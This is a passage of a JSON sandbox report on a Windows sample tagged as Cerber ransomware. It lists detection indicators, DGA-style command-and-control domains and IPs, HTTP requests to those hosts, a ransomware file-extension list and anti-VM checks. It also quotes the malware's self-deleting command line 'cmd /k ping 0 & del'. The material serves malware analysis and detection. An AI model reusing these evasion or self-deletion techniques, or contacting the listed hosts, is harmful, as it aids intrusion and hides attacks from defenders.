\"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"Readme.HTA\" has type \"HTML document ASCII text with very long lines with CRLF line terminators\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://btc.blockr.io/\"\n Pattern match: \"https://bitaps.com/\"\n Heuristic match: \"btc.blockr.io\"\n Heuristic match: \"ggzmc76dwcvykik4.1j1dgw.pw\"\n Heuristic match: \"findingresult.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27.exe.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00052754-00002524-00000105-121441376","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"\" queried SystemProcessInformation at 00052754-00002524-00000105-121424641\n \"\" queried SystemProcessInformation at 00052754-00002524-00000105-121425340\n \"\" queried SystemProcessInformation at 00052754-00002524-00000105-121425649\n \"\" queried SystemProcessInformation at 00052754-00002524-00000105-121425889\n \"\" queried SystemProcessInformation at 00052754-00002524-00000105-121426235\n \"\" queried SystemProcessInformation at 00052754-00002524-00000105-121426533","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"Vmwaretrat\" (Indicator: \"vmware\")\n \"Vmwareuser\" (Indicator: \"vmware\")\n \"Vmwareuser\" (Indicator: \"vmwareuser\")\n \"vboxservice\" (Indicator: \"vbox\")\n \"vboxservice\" (Indicator: \"vboxservice\")\n \"Vmtoolsd\" (Indicator: \"vmtools\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET DNS Query to a *.top domain - Likely Hostile\" (SID: 2023883, Rev: 1, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET DNS Query to a *.pw domain - Likely Hostile\" (SID: 2016778, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET POLICY Possible HTA Application Download\" (SID: 2022520, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO HTTP Request to a *.top domain\" (SID: 2023882, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO HTTP Request to a *.pw domain\" (SID: 2016777, Rev: 11, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: ggzmc76dwcvykik4.1j1dgw.pw\nContent-Length: 121\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASAPI32\" (Filter: 14; Subtree: 0)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMANCS\" (Filter: 14; Subtree: 0)\n \"\" monitors \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\" (Filter: 4; Subtree: 1)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\" (Filter: 4; Subtree: 1)\n \"\" monitors \"\\REGISTRY\\MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" (Filter: 4; Subtree: 1)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"\" opened \"MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Network Related","name":"Contacts Random Domain Names","description":"\"ggzmc76dwcvykik4.1j1dgw.top\" seems to be random\n \"ggzmc76dwcvykik4.1j1dgw.pw\" seems to be random\n \"ggzmc76dwcvykik4.1j1dgw.net\" seems to be random\n \"ggzmc76dwcvykik4.1j1dgw.xyz\" seems to be random\n \"ggzmc76dwcvykik4.1j1dgw.com\" seems to be random\n \"ggzmc76dwcvykik4.1j1dgw\" seems to be random","origin":"Network Traffic","relevance":5,"id":"network-6","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains many references to file extensions (often found in ransomware)","description":"Found reference to a lot of file extensions: .SQLITEDB\n .flv\n .mov\n .asf\n .vob\n .mpg\n .MP4\n .fla\n .swf\n .qcow2\n .vmdk\n .gpg\n .ARC\n .tar.bz2\n .tar\n .rar\n .djv\n .svg\n .png\n .raw\n .jpeg\n .tif\n .NEF\n .cmd\n .class\n .java\n .brd\n .dch\n .vbs\n .pas\n .php\n .mdf\n .MYI\n .frm\n .dbf\n .sql\n .lay6\n .ms11\n .sldx\n .ppsx\n .docb\n .sxm\n .odg\n .potx\n .pptx\n .std\n .pot\n .sti\n .otp\n .wks\n .xltm\n .xlsm\n .slk\n .xlt\n .xlc\n .stc\n .ots\n .hwp\n .dotx\n .docx\n .max\n .txt\n .uot\n .pdf\n .PPT","origin":"File/Memory","relevance":10,"id":"string-52","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"root\\CIMV2\" (Indicator: \"root\\cimv2\")","origin":"File/Memory","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping 0\" (UID: 00060603-00003036)","origin":"Monitored Target","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"\" opened \"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch.2524.4134628\" with delete access\n \"\" opened \"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch.2524.4134628\" with delete access\n \"\" opened \"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.2524.4134778\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$28","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","origin":"Registry Access","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"14/62 Antivirus vendors marked sample as malicious (22% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"14/62 Antivirus vendors marked sample as malicious (22% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"14/62 Antivirus vendors marked spawned process \"\" (PID: 2524) as malicious (classified as \"Trojan.Generic\" with 22% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$29","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"malicious","category":"Network Related","name":"Multiple malicious artifacts seen in the context of different hosts","description":"$2a","origin":"Network Traffic","relevance":10,"id":"network-27","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"Readme.HTA\" which has been seen in the context of ransomware (Indicator: README.hta)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"The analysis extracted a known ransomware file"}],"sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 8 domains and 8 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":12,"imported_dlls_count":81,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":46,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":8,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["ransomware","cerber"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5908a8ccaac2ed9004f73748","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["CHE","UKR","USA","VGB"],"submit_name":"0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27","analysis_start_time":"2017-05-02T17:43:13+00:00","indicators_count":{"informative":15,"suspicious":22,"malicious":8},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"193.169.135.137","port":80,"protocol":"TCP","country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"address":"141.8.226.58","port":80,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"address":"208.91.196.46","port":80,"protocol":"TCP","country":"Virgin Islands (BRITISH)","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}],"dns_resolutions":[{"domain":"ggzmc76dwcvykik4.1j1dgw.net","country":"-","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"domain":"ggzmc76dwcvykik4.1j1dgw.xyz","country":"-","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"domain":"findingresult.com","address":"208.91.196.46","country":"Virgin Islands (BRITISH)","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"domain":"ggzmc76dwcvykik4.1j1dgw.top","address":"193.169.135.137","country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"domain":"ggzmc76dwcvykik4.1j1dgw.com","country":"-","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"domain":"ggzmc76dwcvykik4.1j1dgw","country":"-","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"domain":"btc.blockr.io","address":"104.16.150.172","country":"United States","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"domain":"ggzmc76dwcvykik4.1j1dgw.pw","address":"141.8.226.58","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}],"http_requests":[{"host":"btc.blockr.io","host_ip":"104.16.150.172:80","url":"/api/v1/address/txs/1J1dgwQHvQpsrLssx5pR2PiFZVh3Hw61Fn","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /api/v1/address/txs/1J1dgwQHvQpsrLssx5pR2PiFZVh3Hw61Fn HTTP/1.1\nHost: btc.blockr.io\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"host":"btc.blockr.io","host_ip":"104.16.150.172:80","url":"//api/v1/tx/info/c70cc161846123cd4f530008dd6e70eea191d19dcbcf0d65e6dd83c7b4ca018b","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //api/v1/tx/info/c70cc161846123cd4f530008dd6e70eea191d19dcbcf0d65e6dd83c7b4ca018b HTTP/1.1\nHost: btc.blockr.io","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"host":"ggzmc76dwcvykik4.1j1dgw.top","host_ip":"193.169.135.137:80","url":"/r.hta","method":"GET","header":"GET /r.hta HTTP/1.1\nHost: ggzmc76dwcvykik4.1j1dgw.top\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"host":"findingresult.com","host_ip":"208.91.196.46:80","url":"/?dn=1j1dgw.pw&pid=9POLOCM60&_glst=0&rpid=9POBXPF21","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /?dn=1j1dgw.pw&pid=9POLOCM60&_glst=0&rpid=9POBXPF21 HTTP/1.1\nHost: findingresult.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"host":"ggzmc76dwcvykik4.1j1dgw.pw","host_ip":"141.8.226.58:80","url":"/","method":"POST","header":"POST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: ggzmc76dwcvykik4.1j1dgw.pw\nContent-Length: 121","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}],"processes":[{"pid":2524,"ppid":0,"name":"0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27.exe","command_line":"","sha256":"0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27","normalized_path":"C:\\0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27.exe","uid":"00052754-00002524","icon":"$2b"},{"pid":3460,"ppid":2524,"name":"cmd.exe","command_line":"/k ping 0 & del C:\\0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27.exe & exit","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00052754-00002524","uid":"00060588-00003460","icon":"$2c"},{"pid":3036,"ppid":3460,"name":"PING.EXE","command_line":"ping 0","sha256":"4ca10dba7ff487fdb3f1362a3681d7d929f5aa1262cdfd31b04c30826983fb1d","normalized_path":"%WINDIR%\\System32\\PING.EXE","parent_uid":"00060588-00003460","uid":"00060603-00003036","icon":"$2d"}],"all_imported_dlls":["rtutils.dll","Wldap32.dll","ws2_32.dll","WSHTCPIP.DLL","cfgmgr32.dll","shlwapi.dll","wbemsvc.dll","sspicli.dll","lpk.dll","msvcr80.dll","System.Management.ni.dll","RpcRtRemote.dll","winbrand.dll","kernel32.dll","cryptbase.dll","fastprox.dll","wship6.dll","WMINet_Utils.dll","oleaut32.dll","nsi.dll","dnsapi.dll","iertutil.dll","ntdll.dll","advapi32.dll","gdi32.dll","usp10.dll","rsaenh.dll","ieframe.dll","crypt32.dll","devobj.dll","IPHLPAPI.DLL","ntdsapi.dll","mswsock.dll","msctf.dll","ole32.dll","System.Xml.ni.dll","webio.dll","rasadhlp.dll","comctl32.dll","wininet.dll","mscoree.dll","KernelBase.dll","msvcrt.dll","sechost.dll","wbemprox.dll","rasman.dll","dhcpcsvc.dll","propsys.dll","mscoreei.dll","user32.dll","clbcatq.dll","shfolder.dll","dhcpcsvc6.dll","psapi.dll","oleaccrc.dll","urlmon.dll","rpcrt4.dll","winnsi.dll","credssp.dll","uxtheme.dll","apphelp.dll","profapi.dll","setupapi.dll","wshqos.dll","cryptsp.dll","oleacc.dll","wbemcomn.dll","FWPUCLNT.DLL","imm32.dll","mscorwks.dll","shell32.dll","mscorjit.dll","System.Configuration.ni.dll","winhttp.dll","msasn1.dll","ntmarta.dll","mscorlib.ni.dll","System.ni.dll","wmiutils.dll","tzres.dll","rasapi32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Readme.HTA","sha256":"186b5c994005503a252e6c4be4d43b5e928f32b38a535e08890dd27d717dd26a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}],"files_written":[{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"C:\\0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27.exe.config","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index248.dat","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%USERPROFILE%\\Desktop\\Readme.HTA","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\PROPSYS.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\PING.EXE","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\PING.EXE.mui","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"5908